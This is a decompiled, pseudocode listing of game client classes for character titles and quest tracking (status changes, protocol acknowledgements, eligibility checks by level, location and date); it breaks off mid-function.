//----- (0056A260) -------------------------------------------------------- int __thiscall CCharacterTitle::AddView(CCharacterTitle *this, char Type, char ElementNo) { int v3; // edi@1 int v4; // esi@1 char *v5; // eax@2 int result; // eax@6 v3 = this->m_NumOfView; v4 = 0; if ( v3 <= 0 ) { LABEL_6: this->m_ViewArray[v3].Type = Type; this->m_ViewArray[this->m_NumOfView++].ElementNo = ElementNo; result = 1; } else { v5 = &this->m_ViewArray[0].ElementNo; while ( *(v5 - 1) != Type || *v5 != ElementNo ) { ++v4; v5 += 2; if ( v4 >= this->m_NumOfView ) goto LABEL_6; } result = 0; } return result; } //----- (0056A2C0) -------------------------------------------------------- int __thiscall CCharacterTitle::SetCurrentTitle(CCharacterTitle *this, char Type, char ElementNo, unsigned __int16 MobID, const char *pSpecialTitle) { char v5; // dl@1 CCharacterTitle *v6; // esi@1 int result; // eax@3 const char *v8; // eax@4 v5 = Type; v6 = this; if ( !Type || Type == 10 || (result = (signed int)CCharacterTitle::GetTitleStatus(this, Type, ElementNo) >= 2) != 0 ) { v6->m_CurrentTitleMobID = MobID; v8 = pSpecialTitle; v6->m_CurrentTitle = v5; v6->m_CurrentTitleElement = ElementNo; if ( !pSpecialTitle ) { if ( !v5 ) { v6->m_pTitle = szCTNull + 1; return 1; } v8 = CCharacterTitleData::GetTitleString(v6->m_pCharacterTitleData, v5, ElementNo); } v6->m_pTitle = v8; result = 1; } return result; } //----- (0056A340) -------------------------------------------------------- void __thiscall CCharacterTitle::Clear(CCharacterTitle *this) { memset(this->m_Titles, 0, 0x3Cu); this->m_Titles[60]._bf0 = 0; this->m_CurrentTitle = 0; this->m_CurrentTitleElement = 0; this->m_CurrentTitleMobID = -1; this->m_pTitle = szCTNull + 1; this->m_NumOfView = 0; } //----- (0056A380) -------------------------------------------------------- unsigned int __thiscall CCharacterTitle::GetMyTitleCount(CCharacterTitle *this) { unsigned int v1; // ebp@1 signed int v2; // ebx@1 signed int v3; // eax@3 char *v4; // edx@5 signed int v5; // edx@7 v1 = 0; v2 = 0; do { if ( v2 == 10 ) { v1 += 4; } else { v3 = 0; do { if ( (unsigned __int8)v2 < 0x3Du ) { v4 = (char *)&this->m_Titles[(unsigned __int8)v2]; if ( (CCharacterTitle *)((char *)this + (unsigned __int8)v2) != (CCharacterTitle *)-4 ) { switch ( (unsigned __int8)v3 ) { case 0u: v5 = *v4 & 3; goto LABEL_11; case 1u: v5 = ((unsigned int)(unsigned __int8)*v4 >> 2) & 3; goto LABEL_11; case 2u: v5 = ((unsigned int)(unsigned __int8)*v4 >> 4) & 3; goto LABEL_11; case 3u: v5 = (unsigned int)(unsigned __int8)*v4 >> 6; LABEL_11: if ( v5 >= 1 ) ++v1; break; default: break; } } } ++v3; } while ( v3 < 4 ); } ++v2; } while ( v2 < 61 ); return v1; } //----- (0056A410) -------------------------------------------------------- int __thiscall CCharacterTitle::SetTitleStatus(CCharacterTitle *this, char Type, char ElementNo, CT_ELEMENT_VALUE ElementValue) { char *v4; // eax@2 int result; // eax@3 if ( (unsigned __int8)Type < 0x3Du && (v4 = (char *)&this->m_Titles[(unsigned __int8)Type], (CCharacterTitle *)((char *)this + (unsigned __int8)Type) != (CCharacterTitle *)-4) ) { switch ( ElementNo ) { case 0: *v4 ^= (ElementValue ^ *v4) & 3; goto LABEL_9; case 1: *v4 ^= (*v4 ^ 4 * ElementValue) & 0xC; goto LABEL_9; case 2: *v4 ^= (*v4 ^ 16 * ElementValue) & 0x30; goto LABEL_9; case 3: *v4 = ((_BYTE)ElementValue << 6) | *v4 & 0x3F; LABEL_9: CCharacterTitle::AddView(this, Type, ElementNo); result = 1; break; default: result = 0; break; } } else { result = 0; } return result; } //----- (0056A4C0) -------------------------------------------------------- void __thiscall CCharacterTitle::CCharacterTitle(CCharacterTitle *this, CCharacterTitleData *pCharacterTitleData) { this->m_pCharacterTitleData = pCharacterTitleData; memset(this->m_Titles, 0, 0x3Cu); this->m_Titles[60]._bf0 = 0; this->m_CurrentTitle = 0; this->m_CurrentTitleElement = 0; this->m_NumOfView = 0; this->m_CurrentTitleMobID = -1; this->m_pTitle = szCTNull + 1; } //----- (0056A500) -------------------------------------------------------- void __thiscall CQuest::_CQuest(CQuest *this) { CQuest *v1; // esi@1 void *v2; // eax@1 void *v3; // eax@3 v1 = this; v2 = this->m_pQuestArray; this->vfptr = (CQuestVtbl *)CQuest::_vftable_; if ( v2 ) { free(v2); v1->m_pQuestArray = 0; } v3 = v1->m_pQuestListWithNPC; v1->m_NumOfQuestBF = 0; v1->m_NumOfQuest = 0; if ( v3 ) operator delete__(v3); v1->m_MaxOfQuestListWithNPC = 0; v1->m_NumOfQuestListWithNPC = 0; } // 5E8058: using guessed type int (__stdcall *CQuest___vftable_[2])(int sklidx); //----- (0056A540) -------------------------------------------------------- int __thiscall CQuest::InitQuestBF(CQuest *this, int NumOfQuest) { CQuest *v2; // esi@1 unsigned int v3; // ebx@6 void *v4; // edi@6 int result; // eax@6 int v6; // edi@7 int i; // ecx@7 v2 = this; if ( this->m_NumOfQuestBF < NumOfQuest ) { if ( this->m_pQuestArray ) { free(this->m_pQuestArray); v2->m_pQuestArray = 0; } v2->m_NumOfQuestBF = 0; } if ( v2->m_pQuestArray ) goto LABEL_11; v3 = 32 * NumOfQuest; v4 = malloc(32 * NumOfQuest); result = 0; v2->m_pQuestArray = (PLAYER_QUEST_INFO *)v4; if ( v4 ) { memset(v4, 0, 4 * (v3 >> 2)); v6 = (int)((char *)v4 + 4 * (v3 >> 2)); for ( i = 0; i; --i ) *(_BYTE *)v6++ = 0; v2->m_NumOfQuestBF = NumOfQuest; LABEL_11: result = v2->m_pQuestArray != 0; } v2->m_NumOfQuest = 0; return result; } //----- (0056A5C0) -------------------------------------------------------- void __thiscall CQuest::ClearQuest(CQuest *this) { this->m_NumOfQuest = 0; this->m_ProcessedTime = time(0); } //----- (0056A5E0) -------------------------------------------------------- PLAYER_QUEST_INFO *__thiscall CQuest::GetQuestInfo(CQuest *this, unsigned __int16 nID) { int v2; // edx@2 int v3; // eax@2 PLAYER_QUEST_INFO *v4; // esi@3 PLAYER_QUEST_INFO *v5; // ecx@3 PLAYER_QUEST_INFO *result; // eax@6 if ( !this->m_NumOfQuestBF || (v2 = this->m_NumOfQuest, v3 = 0, v2 <= 0) ) goto LABEL_12; v4 = this->m_pQuestArray; v5 = this->m_pQuestArray; while ( v5->ID != nID ) { ++v3; ++v5; if ( v3 >= v2 ) return 0; } if ( v3 != -1 ) result = &v4[v3]; else LABEL_12: result = 0; return result; } //----- (0056A630) -------------------------------------------------------- PLAYER_QUEST_INFO *__thiscall CQuest::GetQuestInfoByIndex(CQuest *this, int nIndex) { PLAYER_QUEST_INFO *result; // eax@2 if ( nIndex < this->m_NumOfQuest ) result = &this->m_pQuestArray[nIndex]; else result = 0; return result; } //----- (0056A650) -------------------------------------------------------- void __thiscall CQuest::SetQuestInfoClearRepeat(CQuest *this, PLAYER_QUEST_INFO *pQuestInfo) { if ( pQuestInfo ) { pQuestInfo->Data.ProgressStep = 0; *(_DWORD *)&pQuestInfo->Data.End_NPCMobCount[0] = 0; pQuestInfo->Data.End_NPCMobCount[4] = 0; pQuestInfo->Data._bf26 &= 0xFCu; pQuestInfo->Data.End_RunningTimeSec = 0; } } //----- (0056A680) -------------------------------------------------------- void __thiscall CQuest::SetQuestClear(CQuest *this, unsigned __int16 nID) { CQuest *v2; // edx@1 int v3; // ecx@2 int v4; // eax@2 PLAYER_QUEST_INFO *v5; // esi@3 v2 = this; if ( this->m_NumOfQuestBF ) { v3 = this->m_NumOfQuest; v4 = 0; if ( v3 > 0 ) { v5 = v2->m_pQuestArray; while ( v5->ID != nID ) { ++v4; ++v5; if ( v4 >= v2->m_NumOfQuest ) return; } if ( v4 != -1 ) { memcpy(&v2->m_pQuestArray[v4], &v2->m_pQuestArray[v4 + 1], 32 * (v3 - v4 - 1)); --v2->m_NumOfQuest; } } } } //----- (0056A6F0) -------------------------------------------------------- int __thiscall CQuest::SetQuestAccept(CQuest *this, unsigned __int16 nID) { CQuest *v2; // ebx@1 PLAYER_QUEST_INFO *v3; // eax@2 __int64 v5; // qax@6 void *v6; // edi@6 PLAYER_QUEST_INFO QuestInfo; // [sp+8h] [bp-24h]@6 v2 = this; if ( !CQuestData::GetQuestData(this->m_pQuestData, nID) ) return 0; v3 = CQuest::GetQuestInfo(v2, nID); if ( !v3 ) { if ( v2->m_NumOfQuest < v2->m_NumOfQuestBF ) { QuestInfo.Data.StartTime = 0i64; QuestInfo.Data.EndTime = 0i64; QuestInfo.Data.RepeatCount = 0; *(_DWORD *)&QuestInfo.Data.ProgressStep = 0; *(_DWORD *)&QuestInfo.Data.End_NPCMobCount[3] = 0; QuestInfo.ID = nID; QuestInfo.Status = 6; HIBYTE(QuestInfo.Data.End_RunningTimeSec) = 0; v5 = _time64(0); v6 = &v2->m_pQuestArray[v2->m_NumOfQuest]; QuestInfo.Data.StartTime = v5; memcpy(v6, &QuestInfo, 0x20u); ++v2->m_NumOfQuest; return 1; } return 0; } v3->Status = 6; v3->Data.ProgressStep = 0; *(_DWORD *)&v3->Data.End_NPCMobCount[0] = 0; v3->Data.End_NPCMobCount[4] = 0; v3->Data._bf26 &= 0xFCu; v3->Data.End_RunningTimeSec = 0; return 1; } //----- (0056A7D0) -------------------------------------------------------- int __thiscall CQuest::SetQuestCancel(CQuest *this, unsigned __int16 nID) { CQuest *v2; // edi@1 PLAYER_QUEST_INFO *v3; // esi@1 QUEST_DATA *v4; // eax@1 int result; // eax@4 v2 = this; v3 = CQuest::GetQuestInfo(this, nID); v4 = CQuestData::GetQuestData(v2->m_pQuestData, nID); if ( v3 && v4 ) { if ( v4->Repeatable ) { v3->Status = 4; v3->Data.ProgressStep = 0; *(_DWORD *)&v3->Data.End_NPCMobCount[0] = 0; v3->Data.End_NPCMobCount[4] = 0; v3->Data._bf26 &= 0xFCu; v3->Data.End_RunningTimeSec = 0; result = 1; } else { CQuest::SetQuestClear(v2, nID); result = 1; } } else { result = 0; } return result; } //----- (0056A840) -------------------------------------------------------- int __thiscall CQuest::SetQuestProgress(CQuest *this, unsigned __int16 nID, char ProgressStep) { int result; // eax@1 result = (int)CQuest::GetQuestInfo(this, nID); if ( result ) { *(_BYTE *)(result + 23) = ProgressStep; result = 1; } return result; } //----- (0056A860) -------------------------------------------------------- int __thiscall CQuest::SetQuestFailed(CQuest *this, unsigned __int16 nID) { int result; // eax@1 result = (int)CQuest::GetQuestInfo(this, nID); if ( result ) { *(_BYTE *)(result + 2) = 7; result = 1; } return result; } //----- (0056A880) -------------------------------------------------------- int __thiscall CQuest::SetQuestDone(CQuest *this, PLAYER_QUEST_INFO *pQuestInfo) { int result; // eax@1 CQuest *v3; // ebx@1 int v4; // edi@2 __int64 v5; // qax@3 result = 0; v3 = this; if ( pQuestInfo ) { result = (int)CQuestData::GetQuestData(this->m_pQuestData, pQuestInfo->ID); v4 = result; if ( result ) { pQuestInfo->Status = 2 * (*(_BYTE *)(result + 12) != 0) + 2; v5 = _time64(0); HIDWORD(pQuestInfo->Data.EndTime) = HIDWORD(v5); HIDWORD(v5) = pQuestInfo->Data.RepeatCount + 1; LODWORD(pQuestInfo->Data.EndTime) = v5; pQuestInfo->Data.RepeatCount = HIDWORD(v5); v3->vfptr->Occure_Quest_Done(v3, pQuestInfo, (QUEST_DATA *)v4); result = 1; } } return result; } //----- (0056A8F0) -------------------------------------------------------- int __thiscall CQuest::SetQuestAbort(CQuest *this, unsigned __int16 nID) { int result; // eax@1 result = (int)CQuest::GetQuestInfo(this, nID); if ( result ) { *(_BYTE *)(result + 2) = 1; result = 1; } return result; } //----- (0056A910) -------------------------------------------------------- int __thiscall CQuest::Recv_NC_CHAR_QUEST_DOING_CMD_ACK(CQuest *this, PROTO_NC_CHAR_QUEST_DOING_CMD *pQuestPlayerDoingData) { PROTO_NC_CHAR_QUEST_DOING_CMD *v2; // esi@1 CQuest *v3; // ebx@1 unsigned __int8 v4; // al@3 int v5; // edx@4 const void *v6; // esi@4 int v7; // eax@5 PLAYER_QUEST_INFO *v8; // ecx@6 int v9; // edi@9 signed int v10; // eax@10 void *v11; // eax@12 unsigned __int8 i; // [sp+Bh] [bp-5h]@3 int bFailed; // [sp+Ch] [bp-4h]@3 v2 = pQuestPlayerDoingData; v3 = this; if ( pQuestPlayerDoingData->bNeedClear ) { this->m_NumOfQuest = 0; this->m_ProcessedTime = time(0); } v4 = 0; bFailed = 0; i = 0; if ( pQuestPlayerDoingData->nNumOfDoingQuest ) { while ( 1 ) { v5 = v3->m_NumOfQuestBF; v6 = (char *)&v2[1] + 32 * v4; if ( v5 ) { v7 = 0; if ( v3->m_NumOfQuest > 0 ) { v8 = v3->m_pQuestArray; while ( v8->ID != *(_WORD *)v6 ) { ++v7; ++v8; if ( v7 >= v3->m_NumOfQuest ) goto LABEL_9; } if ( v7 != -1 ) { v11 = &v3->m_pQuestArray[v7]; if ( v11 ) break; } } } LABEL_9: v9 = v3->m_NumOfQuest; if ( v9 < v5 ) { memcpy(&v3->m_pQuestArray[v9], v6, sizeof(v3->m_pQuestArray[v9])); ++v3->m_NumOfQuest; goto LABEL_15; } v10 = 0; LABEL_16: bFailed |= v10 == 0; v2 = pQuestPlayerDoingData; v4 = i++ + 1; if ( i >= pQuestPlayerDoingData->nNumOfDoingQuest ) return bFailed == 0; } memcpy(v11, v6, 0x20u); LABEL_15: v10 = 1; goto LABEL_16; } return bFailed == 0; } //----- (0056AA00) -------------------------------------------------------- int __thiscall CQuest::Recv_NC_CHAR_QUEST_DONE_CMD_ACK(CQuest *this, PROTO_NC_CHAR_QUEST_DONE_CMD *pQuestPlayerDoneData) { PROTO_NC_CHAR_QUEST_DONE_CMD *v2; // eax@1 int v3; // ebp@1 bool v4; // zf@1 CQuest *v5; // edx@1 int v6; // esi@2 __int16 v7; // di@2 int v8; // eax@3 PLAYER_QUEST_INFO *v9; // ecx@4 int v10; // edi@7 signed int v11; // eax@8 void *v12; // eax@10 int bFailed; // [sp+4h] [bp-28h]@1 PLAYER_QUEST_INFO PlayerQuestInfo; // [sp+8h] [bp-24h]@1 v2 = pQuestPlayerDoneData; v3 = 0; v4 = pQuestPlayerDoneData->nNumOfDoneQuest == 0; v5 = this; bFailed = 0; PlayerQuestInfo.Status = 2; if ( !v4 ) { while ( 1 ) { v6 = v5->m_NumOfQuestBF; v7 = *((_WORD *)&v2[1].chrregnum + (unsigned __int16)v3); PlayerQuestInfo.ID = *((_WORD *)&v2[1].chrregnum + (unsigned __int16)v3); if ( v6 ) { v8 = 0; if ( v5->m_NumOfQuest > 0 ) { v9 = v5->m_pQuestArray; while ( v9->ID != v7 ) { ++v8; ++v9; if ( v8 >= v5->m_NumOfQuest ) goto LABEL_7; } if ( v8 != -1 ) { v12 = &v5->m_pQuestArray[v8]; if ( v12 ) break; } } } LABEL_7: v10 = v5->m_NumOfQuest; if ( v10 < v6 ) { memcpy(&v5->m_pQuestArray[v10], &PlayerQuestInfo, sizeof(v5->m_pQuestArray[v10])); ++v5->m_NumOfQuest; goto LABEL_13; } v11 = 0; LABEL_14: v4 = v11 == 0; v2 = pQuestPlayerDoneData; ++v3; bFailed |= v4; if ( (unsigned __int16)v3 >= pQuestPlayerDoneData->nNumOfDoneQuest ) return bFailed == 0; } memcpy(v12, &PlayerQuestInfo, 0x20u); LABEL_13: v11 = 1; goto LABEL_14; } return bFailed == 0; } //----- (0056AAE0) -------------------------------------------------------- int __thiscall CQuest::QuestPlayer_LevelChange(CQuest *this, char nPlayerLevel) { CQuest *v2; // esi@1 int v3; // eax@1 int v4; // ebp@1 int v5; // edi@3 QUEST_DATA *v6; // eax@5 int v7; // eax@7 int result; // eax@10 int v9; // [sp+Ch] [bp-8h]@2 int bResult; // [sp+10h] [bp-4h]@1 v2 = this; v3 = this->m_NumOfQuest; v4 = 0; bResult = 0; if ( v3 <= 0 ) { result = 0; } else { v9 = 0; if ( v3 <= 0 ) goto LABEL_9; do { v5 = (int)&v2->m_pQuestArray[v9]; if ( v5 ) { if ( *(_BYTE *)(v5 + 2) == 6 ) { v6 = CQuestData::GetQuestData(v2->m_pQuestData, *(_WORD *)v5); if ( v6 ) { if ( v6->End.bLevel == 1 ) { v7 = v6->End.Level; if ( (unsigned __int8)v7 <= nPlayerLevel ) { bResult = 1; v2->vfptr->Occure_LevelChange(v2, *(_WORD *)v5, nPlayerLevel, v7); } } } } } LABEL_9: ++v4; ++v9; } while ( v4 < v2->m_NumOfQuest ); result = bResult; } return result; } //----- (0056AB80) -------------------------------------------------------- int __thiscall CQuest::IsQuestArea(CQuest *this, unsigned int CurrentX, unsigned int CurrentY, unsigned int QuestX, unsigned int QuestY, unsigned int QuestRange) { return QuestRange >= (unsigned int)(unsigned __int64)sqrt((double)(abs(CurrentY - QuestY) + abs(CurrentX - QuestY))); } //----- (0056ABC0) -------------------------------------------------------- int __thiscall CQuest::GetNumOfDoingQuest(CQuest *this) { int v1; // edi@1 int result; // eax@1 int v3; // esi@1 int v4; // ebx@2 PLAYER_QUEST_INFO *v5; // edx@3 char v6; // dl@4 v1 = this->m_NumOfQuest; result = 0; v3 = 0; if ( v1 > 0 ) { v4 = 0; if ( v1 <= 0 ) goto LABEL_7; do { v5 = &this->m_pQuestArray[v4]; if ( v5 ) { v6 = v5->Status; if ( (unsigned __int8)v6 >= 6u ) { if ( (unsigned __int8)v6 <= 8u ) ++result; } } LABEL_7: ++v3; ++v4; } while ( v3 < v1 ); } return result; } //----- (0056AC00) -------------------------------------------------------- int __thiscall CQuest::IsQuestNPCMob(CQuest *this, QUEST_DATA *lpQuestData, unsigned __int16 nNPCID) { int result; // eax@1 signed int v4; // edx@5 char *v5; // eax@5 result = (int)lpQuestData; if ( lpQuestData ) { if ( !lpQuestData->Start.bNPC || lpQuestData->Start.NPCID != nNPCID ) { v4 = 0; v5 = &lpQuestData->End.NPCMobList[0].NPCMobAction; while ( !*(v5 - 4) || *v5 && *v5 != 3 || *((_WORD *)v5 - 1) != nNPCID ) { ++v4; v5 += 6; if ( v4 >= 5 ) return 0; } } result = 1; } return result; } //----- (0056AC60) -------------------------------------------------------- int __thiscall CQuest::IsConversationNPCMob(CQuest *this, QUEST_DATA *lpQuestData, unsigned __int16 nNPCID) { int result; // eax@1 signed int v4; // ecx@2 char *v5; // eax@2 result = (int)lpQuestData; if ( lpQuestData ) { v4 = 0; v5 = &lpQuestData->End.NPCMobList[0].NPCMobAction; while ( !*(v5 - 4) || *v5 != 3 || *((_WORD *)v5 - 1) != nNPCID ) { ++v4; v5 += 6; if ( v4 >= 5 ) return 0; } result = 1; } return result; } //----- (0056ACA0) -------------------------------------------------------- unsigned __int16 __thiscall CQuest::GetRewardNPC(CQuest *this, QUEST_DATA *lpQuestData) { unsigned __int16 result; // ax@2 signed int v3; // eax@3 char *v4; // ecx@3 if ( lpQuestData ) { v3 = 0; v4 = &lpQuestData->End.NPCMobList[0].NPCMobAction; while ( !*(v4 - 4) || *v4 ) { ++v3; v4 += 6; if ( v3 >= 5 ) return -1; } result = lpQuestData->End.NPCMobList[v3].NPCMobID; } else { result = -1; } return result; } //----- (0056ACE0) -------------------------------------------------------- int __thiscall CQuest::IsSoonableQuest(CQuest *this, QUEST_DATA *lpQuestData) { CQuest *v2; // esi@1 unsigned __int8 v3; // al@2 PLAYER_QUEST_INFO *v4; // eax@10 char v5; // al@11 int result; // eax@19 tm *v7; // esi@21 int v8; // eax@21 int nLocation; // [sp+20h] [bp-7Ch]@7 __int64 CurrentTime; // [sp+24h] [bp-78h]@7 __int64 *LocationX; // [sp+2Ch] [bp-70h]@7 tm CurrentTM; // [sp+30h] [bp-6Ch]@21 tm StartTM; // [sp+54h] [bp-48h]@21 tm EndTM; // [sp+78h] [bp-24h]@21 v2 = this; if ( lpQuestData->Start.bLevel && ((v3 = ((int (*)(void))this->vfptr->GetQuestPlayerLevel)(), (unsigned __int8)(v3 + 5) < lpQuestData->Start.LevelMin) || v3 > lpQuestData->Start.LevelMax) || lpQuestData->Start.bItem && v2->vfptr->GetQuestPlayerItemLot(v2, lpQuestData->Start.ItemID) < lpQuestData->Start.ItemLot || lpQuestData->Start.bLocation && ((v2->vfptr->GetPlayerCurrentLocation( v2, (unsigned __int16 *)&nLocation, (unsigned int *)&LocationX, (unsigned int *)&CurrentTime), lpQuestData->Start.Location != (_WORD)nLocation) || !v2->vfptr->IsQuestArea( v2, (unsigned int)LocationX, CurrentTime, lpQuestData->Start.LocationX, lpQuestData->Start.LocationY, lpQuestData->Start.LocationRange)) || lpQuestData->Start.bQuest && ((v4 = CQuest::GetQuestInfo(v2, lpQuestData->Start.QuestID)) == 0 || (v5 = v4->Status, v5 != 2) && v5 != 4) || lpQuestData->Start.bRace && lpQuestData->Start.Race != v2->vfptr->GetQuestPlayerRace(v2) || lpQuestData->Start.bClass && lpQuestData->Start.Class != v2->vfptr->GetQuestPlayerClass(v2) || lpQuestData->Start.bGender && lpQuestData->Start.Gender != v2->vfptr->GetQuestPlayerGender(v2) ) { result = 0; } else { if ( lpQuestData->Start.bDate ) { _time64(&CurrentTime); memcpy((void *)&CurrentTM, _localtime64(&CurrentTime), sizeof(CurrentTM)); memcpy((void *)&StartTM, _localtime64(&lpQuestData->Start.DateStart), sizeof(StartTM)); LocationX = &lpQuestData->Start.DateEnd; v7 = _localtime64(&lpQuestData->Start.DateEnd); v8 = lpQuestData->Start.DateMode; memcpy((void *)&EndTM, v7, sizeof(EndTM)); switch ( v8 ) { case 0: if ( CurrentTM.tm_year >= StartTM.tm_year && CurrentTM.tm_year <= EndTM.tm_year ) goto LABEL_35; goto LABEL_24; case 1: if ( CurrentTM.tm_mon >= StartTM.tm_mon && CurrentTM.tm_mon <= EndTM.tm_mon ) goto LABEL_35; result = 0; break; case 2: if ( CurrentTM.tm_mday >= StartTM.tm_mday && CurrentTM.tm_mday <= EndTM.tm_mday ) goto LABEL_35; result = 0; break; case 3: if ( CurrentTime >= lpQuestData->Start.DateStart && (SHIDWORD(CurrentTime) < *((_DWORD *)LocationX + 1) || SHIDWORD(CurrentTime) <= *((_DWORD *)LocationX + 1) && (unsigned int)CurrentTime <= *(_DWORD *)LocationX) ) goto LABEL_35; LABEL_24: result = 0; break; default: goto LABEL_35; } } else { LABEL_35: result = 1; } } return result; } //----- (0056AEF0) -------------------------------------------------------- int __thiscall CQuest::IsDoingableQuest(CQuest *this, QUEST_DATA *lpQuestData) { CQuest *v2; // esi@1 unsigned __int8 v3; // al@3 v2 = this; return CQuest::IsSoonableQuest(this, lpQuestData) && (!lpQuestData->Start.bLevel || (v3 = v2->vfptr->GetQuestPlayerLevel(v2), v3 >= lpQuestData->Start.LevelMin) && v3 <= lpQuestData->Start.LevelMax); } //----- (0056AF30) -------------------------------------------------------- int __thiscall CQuest::IsDoingableQuest(CQuest *this, unsigned __int16 hQuestID) { CQuest *v2; // edi@1 QUEST_DATA *v3; // eax@1 QUEST_DATA *v4; // esi@1 char v6; // al@5 v2 = this; v3 = CQuestData::GetQuestData(this->m_pQuestData, hQuestID); v4 = v3; return v3 && CQuest::IsSoonableQuest(v2, v3) && (!v4->Start.bLevel || (v6 = v2->vfptr->GetQuestPlayerLevel(v2), (unsigned __int8)v6 >= v4->Start.LevelMin) && (unsigned __int8)v6 <= v4->Start.LevelMax); } //----- (0056AF80) -------------------------------------------------------- int __thiscall CQuest::IsRewardAbleQuest(CQuest *this, PLAYER_QUEST_INFO *pQuestInfo) { CQuest *v2; // ebp@1 QUEST_DATA *v3; // eax@1 QUEST_DATA *v4; // edi@1 int result; // eax@4 signed int v6; // ecx@5 int v7; // eax@5 signed int v8; // ebx@11 int v9; // esi@11 __int16 nLocation; // [sp+14h] [bp-Ch]@16 unsigned int LocationY; // [sp+18h] [bp-8h]@16 unsigned int LocationX; // [sp+1Ch] [bp-4h]@16 v2 = this; v3 = CQuestData::GetQuestData(this->m_pQuestData, pQuestInfo->ID); v4 = v3; if ( v3 && (!v3->End.bLevel || (unsigned __int8)v2->vfptr->GetQuestPlayerLevel(v2) >= v3->End.Level) ) { v6 = 0; v7 = (int)&v4->End.NPCMobList[0].NPCMobAction; while ( !*(_BYTE *)(v7 - 4) || !*(_BYTE *)v7 || *(_BYTE *)v7 > 3u || (unsigned __int8)pQuestInfo->Data.End_NPCMobCount[v6] >= *(_BYTE *)(v7 + 1) ) { ++v6; v7 += 6; if ( v6 >= 5 ) { v8 = 0; v9 = (int)&v4->End.ItemList[0].ItemID; while ( !*(_BYTE *)(v9 - 2) || v2->vfptr->GetQuestPlayerItemLot(v2, *(_WORD *)v9) >= *(_WORD *)(v9 + 2) ) { ++v8; v9 += 6; if ( v8 >= 5 ) { if ( !v4->End.bLocation || (v2->vfptr->GetPlayerCurrentLocation(v2, (unsigned __int16 *)&nLocation, &LocationX, &LocationY), v4->End.Location == nLocation) && v2->vfptr->IsQuestArea( v2, LocationX, LocationY, v4->End.LocationX, v4->End.LocationY, v4->End.LocationRange) ) { if ( (!v4->End.bScenario || pQuestInfo->Data._bf26 & 2) && (!v4->End.bRace || v4->End.Race == v2->vfptr->GetQuestPlayerRace(v2)) && (!v4->End.bClass || v4->End.Class == v2->vfptr->GetQuestPlayerClass(v2)) && (!v4->End.bTimeLimit || v4->End.TimeLimit > pQuestInfo->Data.End_RunningTimeSec) ) return 1; } goto LABEL_27; } } break; } } LABEL_27: result = 0; } else { result = 0; } return result; } //----- (0056B100) -------------------------------------------------------- int __thiscall CQuest::IsRewardAbleQuest(CQuest *this, unsigned __int16 hQuestID) { CQuest *v2; // esi@1 int result; // eax@1 v2 = this; result = (int)CQuest::GetQuestInfo(this, hQuestID); if ( result ) result = CQuest::IsRewardAbleQuest(v2, (PLAYER_QUEST_INFO *)result); return result; } //----- (0056B130) -------------------------------------------------------- void __thiscall CQuest::CQuest(CQuest *this, CQuestData *pQuestData) { CQuest *v2; // esi@1 int v3; // eax@1 v2 = this; this->vfptr = (CQuestVtbl *)CQuest::_vftable_; this->m_pQuestData = pQuestData; this->m_NumOfQuest = 0; v3 = time(0); v2->m_NumOfQuestBF = 0; v2->m_pQuestArray = 0; v2->m_MaxOfQuestListWithNPC = 0; v2->m_NumOfQuestListWithNPC = 0; v2->m_pQuestListWithNPC = 0; v2->m_ProcessedTime = v3; } // 5E8058: using guessed type int (__stdcall *CQuest___vftable_[2])(int sklidx); //----- (0056B170) -------------------------------------------------------- int __thiscall CQuest::SetQuestDone(CQuest *this, unsigned __int16 nID) { CQuest *v2; // esi@1 PLAYER_QUEST_INFO *v3; // eax@1 v2 = this; v3 = CQuest::GetQuestInfo(this, nID); return CQuest::SetQuestDone(v2, v3); } //----- (0056B190) -------------------------------------------------------- PLAYER_QUEST_STATUS __thiscall CQuest::GetNewQuestStatus(CQuest *this, QUEST_DATA *lpQuestData) { CQuest *v2; // esi@1 PLAYER_QUEST_INFO *v3; // eax@1 PLAYER_QUEST_INFO *v4; // ecx@1 PLAYER_QUEST_STATUS result; // eax@2 unsigned __int8 v6; // al@10 v2 = this; v3 = CQuest::GetQuestInfo(this, lpQuestData->ID); v4 = v3; if ( v3 ) { result = v3->Status; switch ( result ) { case 3: if ( !CQuest::IsDoingableQuest(v2, lpQuestData) ) goto LABEL_4; goto LABEL_12; default: return result; case 4: result = CQuest::IsDoingableQuest(v2, lpQuestData) != 0 ? 4 : 0; break; case 5: result = CQuest::IsDoingableQuest(v2, lpQuestData) != 0 ? 5 : 0; break; case 6: case 8: result = CQuest::IsRewardAbleQuest(v2, v4) != 0 ? 8 : 6; break; } } else { if ( !CQuest::IsSoonableQuest(v2, lpQuestData) || lpQuestData->Start.bLevel && ((v6 = v2->vfptr->GetQuestPlayerLevel(v2), v6 < lpQuestData->Start.LevelMin) || v6 > lpQuestData->Start.LevelMax) ) LABEL_4: result = CQuest::IsSoonableQuest(v2, lpQuestData) != 0 ? 3 : 0; else LABEL_12: result = 5; } return result; } //----- (0056B270) -------------------------------------------------------- PLAYER_QUEST_STATUS __thiscall CQuest::GetNewQuestStatus(CQuest *this, unsigned __int16 nID) { CQuest *v2; // esi@1 PLAYER_QUEST_STATUS result; // eax@1 v2 = this; result = (PLAYER_QUEST_STATUS)CQuestData::GetQuestData(this->m_pQuestData, nID); if ( result ) result = CQuest::GetNewQuestStatus(v2, (QUEST_DATA *)result); return result; } //----- (0056B2A0) -------------------------------------------------------- int __thiscall CQuest::IsDoingQuest(CQuest *this, unsigned __int16 hQuestID) { CQuest *v2; // esi@1 QUEST_DATA *v3; // eax@1 PLAYER_QUEST_STATUS v4; // eax@2 v2 = this; v3 = CQuestData::GetQuestData(this->m_pQuestData, hQuestID); return v3 && ((v4 = CQuest::GetNewQuestStatus(v2, v3), v4 == 6) || v4 == 7 || v4 == 8); } //----- (0056B2E0) -------------------------------------------------------- PLAYER_QUEST_STATUS __thiscall CQuest::DoingQuestUpdateStatus(CQuest *this, int nIndex) { CQuest *v2; // esi@1 PLAYER_QUEST_INFO *v3; // edi@2 PLAYER_QUEST_STATUS result; // eax@3 QUEST_DATA *v5; // eax@4 v2 = this; if ( nIndex < this->m_NumOfQuest && (v3 = &this->m_pQuestArray[nIndex]) != 0 ) { v5 = CQuestData::GetQuestData(this->m_pQuestData, v3->ID); if ( v5 ) { LOBYTE(result) = CQuest::GetNewQuestStatus(v2, v5); v3->Status = result; result = (unsigned __int8)result; } else { v3->Status = 0; result = 0; } } else { result = 0; } return result; } //----- (0056B330) -------------------------------------------------------- int __thiscall CQuest::GetQuestStatusWithNPC(CQuest *this, CQuest::NPC_QUEST_STATUS *kQuestStatus, QUEST_DATA *lpQuestData) { CQuest::NPC_QUEST_STATUS *v3; // edi@1 int v4; // eax@1 CQuest *v5; // ebx@1 int result; // eax@1 